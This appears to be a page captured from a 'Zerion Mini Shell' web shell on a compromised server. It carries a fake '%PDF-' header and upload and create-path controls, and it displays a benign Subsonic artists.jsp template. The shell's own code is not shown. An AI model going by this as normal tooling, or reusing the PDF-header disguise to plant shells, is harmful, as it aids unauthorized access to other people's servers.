%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/309157/root/home/waritko/subsonic/ROOT/WEB-INF/jsp/
Upload File :
Create Path :
Current File : //proc/309157/root/home/waritko/subsonic/ROOT/WEB-INF/jsp/artists.jsp

<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="iso-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head>
    <%@ include file="head.jsp" %>
    <%@ include file="jquery.jsp" %>
    <script type="text/javascript" src="<c:url value="/dwr/engine.js"/>"></script>
    <script type="text/javascript" src="<c:url value="/dwr/interface/multiService.js"/>"></script>
    <script type="text/javascript" src="<c:url value="/dwr/interface/starService.js"/>"></script>

    <style type="text/css">
        .browse-index-shortcut {
            padding-bottom: 8px;
            font-size: 105%;
            line-height: 100%;
            font-weight: 300;
        }
        .browse-index-title {
            clear: both;
            font-size: 4em;
            line-height: 100%;
            padding-top: 20px;
            padding-bottom: 5px;
        }
        .browse-artist {
            float: left;
            text-overflow: ellipsis;
            overflow: hidden;
            white-space: nowrap;
            width: 12em;
            padding: 0.2em 1.5em 0.2em 1.5em;
            font-weight: 300;
        }
    </style>

    <script type="text/javascript" language="javascript">

        function changeMusicFolder(musicFolderId) {
            multiService.setSelectedMusicFolder(musicFolderId, function() {
                location.href = "artists.view";
                <c:if test="${model.showIndexInSideBar}">
                top.left.location.href = top.left.location.href;
                </c:if>
            });
        }

        function filterArtists(element) {
            var filter = $(element).val().toLowerCase();
            $(".browse-artist").each(function() {
                var artist = $(this).text().toLowerCase();
                $(this).toggle(artist.indexOf(filter) != -1);
            });

            $(".browse-index-title").each(function() {
                var show = $(this).nextUntil(".browse-index-title", ".browse-artist:visible").length > 0;
                $(this).toggle(show);
            });
        }

        function toggleStar(mediaFileId, element) {
            starService.star(mediaFileId, !$(element).hasClass("fa-star"));
            $(element).toggleClass("fa-star fa-star-o starred");
        }
    </script>
</head>

<body class="bgcolor1 mainframe">

<a name="top"></a>

<div style="display:flex; align-items:center">
    <h1 style="flex:1"><i class="fa fa-sort-alpha-asc icon"></i>&nbsp;&nbsp;<fmt:message key="top.artists"/></h1>
    <span style="margin-right:3em">
        <c:choose>
            <c:when test="${model.scanning}">
                <i class="fa fa-refresh fa-fw icon"></i>&nbsp;<a href="artists.view"><fmt:message key="common.refresh"/></a>
            </c:when>
            <c:otherwise>
                <i class="fa fa-refresh fa-fw icon"></i>&nbsp;<a href="artists.view?refresh=true"><fmt:message key="common.refresh"/></a>
            </c:otherwise>
        </c:choose>
    </span>
    <input style="margin-right:3em; flex-shrink:1; width:180px" type="text" placeholder="<fmt:message key="common.filter"/>" onclick="select();" onkeyup="filterArtists(this)">
</div>

<div style="clear:both; position:fixed; top:0; right:0; padding:1.25em 0.75em 0.25em 0.75em; text-align:center">
    <div class="browse-index-shortcut"><i class="fa fa-arrow-up fa-fw icon clickable" onclick="location.href='#top'"></i></div>
    <c:forEach items="${model.indexes}" var="index">
        <div class="browse-index-shortcut"><a href="#${index.index}">${index.index}</a></div>
    </c:forEach>
</div>

<c:if test="${fn:length(model.musicFolders) > 1}">
    <h2>
        <span class="${empty model.selectedMusicFolder ? 'headerSelected' : 'header'}"><a href="#" onclick="changeMusicFolder(-1)"><fmt:message key="left.allfolders"/></a></span>
        <c:forEach items="${model.musicFolders}" var="musicFolder" varStatus="loopStatus">
        |
            <span class="${model.selectedMusicFolder.id == musicFolder.id ? 'headerSelected' : 'header'}"><a href="#" onclick="changeMusicFolder(${musicFolder.id})">${fn:escapeXml(musicFolder.name)}</a></span>
        </c:forEach>
    </h2>
</c:if>

<div style="padding-top:1em; padding-bottom:0.4em">
    <c:forEach items="${model.shortcuts}" var="shortcut">
        <sub:url value="main.view" var="mainUrl">
            <sub:param name="id" value="${shortcut.id}"/>
        </sub:url>
        <input type="button" style="margin-right:0.6em; margin-bottom:0.6em" value="${fn:escapeXml(shortcut.name)}" onclick="location.href='${mainUrl}'">
    </c:forEach>
</div>

<c:forEach items="${model.indexedArtists}" var="entry">
    <a name="${fn:escapeXml(entry.key.index)}"></a>
    <div class="browse-index-title">${fn:escapeXml(entry.key.index)}</div>

    <c:forEach items="${entry.value}" var="artist">
        <sub:url value="main.view" var="mainUrl">
            <c:forEach items="${artist.mediaFiles}" var="mediaFile">
                <sub:param name="id" value="${mediaFile.id}"/>
            </c:forEach>
        </sub:url>
        <div class="browse-artist">
            <a target="main" href="${mainUrl}" title="${fn:escapeXml(artist.name)}">${fn:escapeXml(artist.name)}</a>
        </div>
    </c:forEach>
</c:forEach>

<div style="clear:both; padding-top:2em"></div>

<c:if test="${not empty model.singleSongs}">

    <table class="music">
        <tr>
            <th colspan="5"></th>
            <c:if test="${model.visibility.trackNumberVisible}">
                <th class="fit right">#</th>
            </c:if>
            <th class="truncate"><fmt:message key="lyrics.song"/></th>
            <c:if test="${model.visibility.albumVisible}">
                <th class="truncate"><fmt:message key="personalsettings.album"/></th>
            </c:if>
            <c:if test="${model.visibility.artistVisible}">
                <th class="truncate"><fmt:message key="personalsettings.artist"/></th>
            </c:if>
            <c:if test="${model.visibility.genreVisible}">
                <th class="fit left"><fmt:message key="personalsettings.genre"/></th>
            </c:if>
            <c:if test="${model.visibility.yearVisible}">
                <th class="fit left"><fmt:message key="personalsettings.year"/></th>
            </c:if>
            <c:if test="${model.visibility.formatVisible}">
                <th class="fit left"><fmt:message key="personalsettings.format"/></th>
            </c:if>
            <c:if test="${model.visibility.fileSizeVisible}">
                <th class="fit left"><fmt:message key="personalsettings.filesize"/></th>
            </c:if>
            <c:if test="${model.visibility.durationVisible}">
                <th class="fit center"><i class="fa fa-lg fa-clock-o"></i></th>
            </c:if>
            <c:if test="${model.visibility.bitRateVisible}">
                <th class="fit left"><fmt:message key="personalsettings.bitrate"/></th>
            </c:if>
        </tr>

        <c:forEach items="${model.singleSongs}" var="song" varStatus="loopStatus">
            <%--@elvariable id="song" type="net.sourceforge.subsonic.domain.MediaFile"--%>
            <tr style="margin:0;padding:0;border:0">
                <c:import url="playButtons.jsp">
                    <c:param name="id" value="${song.id}"/>
                    <c:param name="video" value="${song.video and model.player.web}"/>
                    <c:param name="playEnabled" value="${model.user.streamRole and not model.partyMode}"/>
                    <c:param name="addEnabled" value="${model.user.streamRole and (not model.partyMode or not song.directory)}"/>
                    <c:param name="downloadEnabled" value="${model.user.downloadRole and not model.partyMode}"/>
                    <c:param name="starEnabled" value="true"/>
                    <c:param name="starred" value="${not empty song.starredDate}"/>
                    <c:param name="asTable" value="true"/>
                </c:import>

                <c:if test="${model.visibility.trackNumberVisible}">
                    <td class="fit right">
                        <span class="detail">${song.trackNumber}</span>
                    </td>
                </c:if>

                <td class="truncate">
                    <span class="songTitle" title="${fn:escapeXml(song.title)}">${fn:escapeXml(song.title)}</span>
                </td>

                <c:if test="${model.visibility.albumVisible}">
                    <td class="truncate">
                        <span class="detail" title="${fn:escapeXml(song.albumName)}">${fn:escapeXml(song.albumName)}</span>
                    </td>
                </c:if>

                <c:if test="${model.visibility.artistVisible}">
                    <td class="truncate">
                        <span class="detail" title="${fn:escapeXml(song.artist)}">${fn:escapeXml(song.artist)}</span>
                    </td>
                </c:if>

                <c:if test="${model.visibility.genreVisible}">
                    <td class="fit left">
                        <span class="detail">${fn:escapeXml(song.genre)}</span>
                    </td>
                </c:if>

                <c:if test="${model.visibility.yearVisible}">
                    <td class="fit left">
                        <span class="detail">${song.year}</span>
                    </td>
                </c:if>

                <c:if test="${model.visibility.formatVisible}">
                    <td class="fit left">
                        <span class="detail">${fn:toLowerCase(song.format)}</span>
                    </td>
                </c:if>

                <c:if test="${model.visibility.fileSizeVisible}">
                    <td class="fit left">
                        <span class="detail"><sub:formatBytes bytes="${song.fileSize}"/></span>
                    </td>
                </c:if>

                <c:if test="${model.visibility.durationVisible}">
                    <td class="fit right">
                        <span class="detail">${song.durationString}</span>
                    </td>
                </c:if>

                <c:if test="${model.visibility.bitRateVisible}">
                    <td class="fit left">
                        <span class="detail">
                            <c:if test="${not empty song.bitRate}">
                                ${song.bitRate} Kbps ${song.variableBitRate ? "vbr" : ""}
                            </c:if>
                            <c:if test="${song.video and not empty song.width and not empty song.height}">
                                (${song.width}x${song.height})
                            </c:if>
                        </span>
                    </td>
                </c:if>
            </tr>
        </c:forEach>
    </table>
</c:if>

<div style="padding-top:2em"></div>

</body></html>

Zerion Mini Shell 1.0